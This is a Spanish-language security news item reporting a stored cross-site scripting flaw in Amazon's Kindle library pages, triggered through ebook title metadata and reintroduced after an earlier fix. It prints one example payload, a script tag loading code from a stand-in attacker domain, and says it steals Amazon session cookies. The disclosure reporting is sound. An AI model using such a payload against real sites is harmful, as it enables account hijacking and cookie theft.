Se
ha anunciado una vulnerabilidad en el software del Kindle de Amazon que podría
permitir a un atacante acceder a todos los detalles de una cuenta de Amazon.
El problema reside en un
cross-site scripting almacenado, la más peligrosa de todas las formas de este
tipo de ataques, en la librería Kindle de Amazon, en las páginas conocidas como
"Manage Your Content and Devices"
y "Manage your Kindle". El
fallo se produce al descargar un libro electrónico desde un sitio que no sea la
propia web de Amazon, y podría permitir inyectar código malicioso a través de
los metadatos del libro (por ejemplo el título).
El atacante podrá crear un libro con
un título como
<script
src="https://www.atacante.org/script.js"></script>
Una vez que la víctima descargue el
libro y lo tenga añadido a su librería, el código se ejecutara en el momento en
que la víctima abra la página web de la librería del Kindle. Como resultado, el
atacante podrá acceder y transferir las cookies de sesión de Amazón, por lo que
la cuenta quedará comprometida. Existe disponible una prueba de concepto del
problema.
Lo más sorprendente es que según Benjamin
Daniel Mussler, investigador que ha dado a conocer el problema, reportó el
problema a Amazon en noviembre de 2013 y fue corregido poco después. Sin
embargo confirma que, hace dos meses, al publicar una nueva versión de la
aplicación web "Manage your Kindle"
se ha reintroducido la vulnerabilidad. Según confirma no ha obtenido respuesta
a ninguna de sus comunicaciones.
Más información:
Amazon.com Stored XSS via Book Metadata
Antonio Ropero
Twitter: @aropero
